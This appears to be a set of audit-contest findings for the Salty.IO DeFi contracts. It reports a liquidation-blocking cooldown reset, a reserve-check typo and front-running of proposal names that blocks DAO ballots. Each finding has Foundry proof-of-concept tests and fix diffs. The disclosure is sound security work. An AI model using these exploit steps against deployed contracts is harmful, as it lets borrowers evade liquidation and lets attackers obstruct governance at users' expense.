Salty.IO - memforvik's results

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L154 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L104

Vulnerability details

Impact

Since there is a cooldown during liquidation, any user can update the cooldownExpiration by depositCollateralAndIncreaseShare, so that CollateralAndLiquidity#liquidateUser cannot function properly.

Proof of Concept

CollateralAndLiquidity#liquidateUser is a function that can liquidate a position which has fallen under the minimum collateral ratio.

src/stable/CollateralAndLiquidity.sol

	// Liquidate a position which has fallen under the minimum collateral ratio.
	// A default 5% of the value of the collateral is sent to the caller, with the rest being sent to the Liquidator for later conversion to USDS which is then burned.
	function liquidateUser( address wallet ) external nonReentrant
		{
		require( wallet != msg.sender, "Cannot liquidate self" );

		// First, make sure that the user's collateral ratio is below the required level
		require( canUserBeLiquidated(wallet), "User cannot be liquidated" );

		uint256 userCollateralAmount = userShareForPool( wallet, collateralPoolID );

		// Withdraw the liquidated collateral from the liquidity pool.
		// The liquidity is owned by this contract so when it is withdrawn it will be reclaimed by this contract.
		(uint256 reclaimedWBTC, uint256 reclaimedWETH) = pools.removeLiquidity(wbtc, weth, userCollateralAmount, 0, 0, totalShares[collateralPoolID] );

		// Decrease the user's share of collateral as it has been liquidated and they no longer have it.
        // [Found] 
		_decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, true );

        ...

		emit Liquidation(msg.sender, wallet, reclaimedWBTC, reclaimedWETH, originallyBorrowedUSDS);
		}


	function _decreaseUserShare( address wallet, bytes32 poolID, uint256 decreaseShareAmount, bool useCooldown ) internal
		{
		require( decreaseShareAmount != 0, "Cannot decrease zero share" );

		UserShareInfo storage user = _userShareInfo[wallet][poolID];
		require( decreaseShareAmount <= user.userShare, "Cannot decrease more than existing user share" );

		if ( useCooldown )
		if ( msg.sender != address(exchangeConfig.dao()) ) // DAO doesn't use the cooldown
			{
			require( block.timestamp >= user.cooldownExpiration, "Must wait for the cooldown to expire" );

			// Update the cooldown expiration for future transactions
			user.cooldownExpiration = block.timestamp + stakingConfig.modificationCooldown();
			}
         ...   
        }

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L154 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L104

since function liquidateUser set param useCooldown to true to call _decreaseUserShare, This will lead to the judgment that there will consider cooldown when Liquidate a position except for DAO. Malicious users can call collateralAndLiquidity.depositCollateralAndIncreaseShare to prevent liquidation at the minimum cost.

	function testMaliciousPreventLiquidation() public {

		// Bob deposits collateral so alice can be liquidated
        vm.startPrank(bob);
		collateralAndLiquidity.depositCollateralAndIncreaseShare(wbtc.balanceOf(bob), weth.balanceOf(bob), 0, block.timestamp, false );
		vm.stopPrank();

        vm.startPrank( alice );
		uint256 wbtcDeposit = wbtc.balanceOf(alice) / 4;
		uint256 wethDeposit = weth.balanceOf(alice) / 4;

		collateralAndLiquidity.depositCollateralAndIncreaseShare(wbtcDeposit, wethDeposit, 0, block.timestamp, true );

        // Alice borrows USDS
        uint256 maxBorrowable = collateralAndLiquidity.maxBorrowableUSDS(alice);
        collateralAndLiquidity.borrowUSDS( maxBorrowable );

        // Crash the collateral price
        _crashCollateralPrice();
        _crashCollateralPrice();
        _crashCollateralPrice();
        vm.warp( block.timestamp + 1 days );

		collateralAndLiquidity.depositCollateralAndIncreaseShare(wbtcDeposit, wethDeposit, 0, block.timestamp, true );
        console.log("updated user.cooldownExpiration");
        vm.stopPrank();

        // Liquidate Alice's position
        vm.expectRevert( "Must wait for the cooldown to expire" );
        collateralAndLiquidity.liquidateUser(alice);
        
        vm.warp( block.timestamp + 1 days );
        vm.startPrank( alice );
        collateralAndLiquidity.depositCollateralAndIncreaseShare(wbtcDeposit, wethDeposit, 0, block.timestamp, true );
        vm.stopPrank();
        
        vm.expectRevert( "Must wait for the cooldown to expire" ); 
        collateralAndLiquidity.liquidateUser(alice);

    }

Adding the above test case in src/stable/tests/CollateralAndLiquidity.t.sol, you can notice that because alice updated cooldownExpiration, the call to collateralAndLiquidity.liquidateUser failed.

Tools Used

vscode, foundry test

Recommended Mitigation Steps

There is no need to use the useCooldown when liquidating，When calling _decreaseUserShare the parameter useCooldown should be set to false.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/pools/Pools.sol#L187

Vulnerability details

Impact

removing liquidity may cause one of the reserves to be lower than DUST, causing the ratio to not remain relatively constant after the maximum withdrawal.

Proof of Concept

Pools#removeLiquidity is a function that allows a user to remove liquidity when calling the CollateralAndLiquidity#liquidateUser or CollateralAndLiquidity#withdrawLiquidityAndClaim, and make sure that removing liquidity doesn't drive either of the reserves below DUST.

File: src/pools/Pools.sol

	// Remove liquidity for the user and reclaim the underlying tokens
	// Only callable from the CollateralAndLiquidity contract - so it can specify totalLiquidity with authority
	function removeLiquidity( IERC20 tokenA, IERC20 tokenB, uint256 liquidityToRemove, uint256 minReclaimedA, uint256 minReclaimedB, uint256 totalLiquidity ) external nonReentrant returns (uint256 reclaimedA, uint256 reclaimedB)
		{
		require( msg.sender == address(collateralAndLiquidity), "Pools.removeLiquidity is only callable from the CollateralAndLiquidity contract" );
		require( liquidityToRemove > 0, "The amount of liquidityToRemove cannot be zero" );

		(bytes32 poolID, bool flipped) = PoolUtils._poolIDAndFlipped(tokenA, tokenB);

		...
		
		reserves.reserve0 -= uint128(reclaimedA);
		reserves.reserve1 -= uint128(reclaimedB);

		// Make sure that removing liquidity doesn't drive either of the reserves below DUST.
		// This is to ensure that ratios remain relatively constant even after a maximum withdrawal.
		// [Found] bug
        require((reserves.reserve0 >= PoolUtils.DUST) && (reserves.reserve0 >= PoolUtils.DUST), "Insufficient reserves after liquidity removal");

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/pools/Pools.sol#L187

Since reserves.reserve1 is mistakenly written as reserves.reserve0, the protection of reserves.reserve1 will be invalid, causing it to be lower than DUST.

		function testMaliciousWithdrawingTickWrongReserve1() public {
		// Have alice add liquidity
		vm.startPrank(alice);
		(,, uint256 addedLiquidity) = collateralAndLiquidity.depositLiquidityAndIncreaseShare( token2, token3, 300 , 200, 0 ether, block.timestamp, true );

		// Alice attempts to withdraw more than she deposited
		collateralAndLiquidity.withdrawLiquidityAndClaim(token2, token3, 300, 0, 0, block.timestamp);

	}

Adding the above test case in src/staking/tests/Liquidity.t.sol will make token3(reserves.reserve1) equal to 80, this will be lower than DUST.

Tools Used

vscode, foundry test

Recommended Mitigation Steps

Correct the incorrect judgment conditions.

--- a/src/pools/Pools.sol
+++ b/src/pools/Pools.sol
@@ -184,7 +184,7 @@ contract Pools is IPools, ReentrancyGuard, PoolStats, ArbitrageSearch, Ownable

                // Make sure that removing liquidity doesn't drive either of the reserves below DUST.
                // This is to ensure that ratios remain relatively constant even after a maximum withdrawal.
-        require((reserves.reserve0 >= PoolUtils.DUST) && (reserves.reserve0 >= PoolUtils.DUST), "Insufficient reserves after liquidity removal");
+        require((reserves.reserve0 >= PoolUtils.DUST) && (reserves.reserve1 >= PoolUtils.DUST), "Insufficient reserves after liquidity removal");

                // Switch reclaimed amounts back to the order that was specified in the call arguments so they make sense to the caller
                if (flipped)

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L102

Vulnerability details

Impact

Since the _possiblyCreateProposal function checks the balloonName to ensure that there is only one proposal with the same name, this mechanism is fine in most cases. However, if the ballotName is not designed well, malicious users can prevent some proposals from being created through front-run.

Specifically,

1. When the community wants to create a proposal of type SET_CONTRACT, the attacker calls proposeSetContractAddress and adds the _confirm string at the end of the parameter contractName, such as accessManager_confirm, which can lead to DAO Unable to create confirmation proposal of type CONFIRM_SET_CONTRACT.

2. When the community needs to update the website, the attacker calls proposeWebsiteUpdate and adds the _confirm string at the end of the parameter newWebsiteURL, for example https://tech.salty.io_confirm, then This can cause DAO to be unable to create a confirmation proposal of type CONFIRM_SET_WEBSITE_URL.

3. When the community decides to Proposes sending a specified amount of SALT to a wallet or contract, the attacker calls proposeSendSALT and sets the amount parameter to an unreasonable value, which will result in the inability to Create proposals that the community anticipates.

Proof of Concept

src/dao/Proposals.sol

	function _possiblyCreateProposal( string memory ballotName, BallotType ballotType, address address1, uint256 number1, string memory string1, string memory string2 ) internal returns (uint256 ballotID)
		{
		require( block.timestamp >= firstPossibleProposalTimestamp, "Cannot propose ballots within the first 45 days of deployment" );

        ...

		// Make sure that a proposal of the same name is not already open for the ballot
        // [Found] maybe cause a Dos by front-run
		require( openBallotsByName[ballotName] == 0, "Cannot create a proposal similar to a ballot that is still open" );
		require( openBallotsByName[ string.concat(ballotName, "_confirm")] == 0, "Cannot create a proposal for a ballot with a secondary confirmation" );

		uint256 ballotMinimumEndTime = block.timestamp + daoConfig.ballotMinimumDuration();

		// Add the new Ballot to storage
		ballotID = nextBallotID++;
		ballots[ballotID] = Ballot( ballotID, true, ballotType, ballotName, address1, number1, string1, string2, ballotMinimumEndTime );
		openBallotsByName[ballotName] = ballotID;
		_allOpenBallots.add( ballotID );

        ...

		emit ProposalCreated(ballotID, ballotType, ballotName);
		}

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L102

Since _possiblyCreateProposal uses the balloonName to ensure that the proposal is unique, there is the possibility of a malicious user triggering a DoS through front-run.

    function testMaliciousSetContractApproved( uint256 ballotID, string memory contractName, address newAddress) public
    	{

        vm.startPrank(alice);
        staking.stakeSALT( 1000000 ether );

        proposals.proposeSetContractAddress( "accessManager", address(0x1111111111111111111111111111111111111112 ), "description" );

        vm.startPrank(DEPLOYER);
        staking.stakeSALT( 1000000 ether);
		console.log("trying to create bad ballot...");
        proposals.proposeSetContractAddress("accessManager_confirm", address(0x1111111111111111111111111111111111111113 ), "bad proposal" );
		console.log("trying to finalize ballot...");
		_voteForAndFinalizeBallot(1, Vote.YES);
		
		// Above finalization should create a confirmation ballot
		_voteForAndFinalizeBallot(3, Vote.YES);

		vm.stopPrank();
    	}

Adding the above test case in src/dao/tests/DAO.t.sol, Will cause DAO to be unable to create a normal confirmation proposal

Tools Used

vscode, foundry test

Recommended Mitigation Steps

Fully consider the design of ballotName and add more detailed information, such as the following code

--- a/src/dao/Proposals.sol
+++ b/src/dao/Proposals.sol
@@ -204,7 +204,9 @@ contract Proposals is IProposals, ReentrancyGuard

                // This ballotName is not unique for the receiving wallet and enforces the restriction of one sendSALT ballot at a time.
                // If more receivers are necessary at once, a splitter can be used.
-               string memory ballotName = "sendSALT";
+               string memory ballotName = string.concat("sendSALT:", Strings.toHexString(address(wallet)));
+               ballotName = string.concat(ballotName, ":");
+               ballotName = string.concat(ballotName, Strings.toString(amount));
                return _possiblyCreateProposal( ballotName, BallotType.SEND_SALT, wallet, amount, "", description );
                }

@@ -242,6 +244,8 @@ contract Proposals is IProposals, ReentrancyGuard
                require( newAddress != address(0), "Proposed address cannot be address(0)" );

                string memory ballotName = string.concat("setContract:", contractName );
+               ballotName = string.concat(ballotName, ":");
+               ballotName = string.concat(ballotName, Strings.toHexString(address(msg.sender )));
                return _possiblyCreateProposal( ballotName, BallotType.SET_CONTRACT, newAddress, 0, "", description );
                }

@@ -251,6 +255,8 @@ contract Proposals is IProposals, ReentrancyGuard
                require( keccak256(abi.encodePacked(newWebsiteURL)) != keccak256(abi.encodePacked("")), "newWebsiteURL cannot be empty" );

                string memory ballotName = string.concat("setURL:", newWebsiteURL );
+               ballotName = string.concat(ballotName, ":");
+               ballotName = string.concat(ballotName, Strings.toHexString(address(msg.sender )));
                return _possiblyCreateProposal( ballotName, BallotType.SET_WEBSITE_URL, address(0), 0, newWebsiteURL, description );
                }

Assessed type

DoS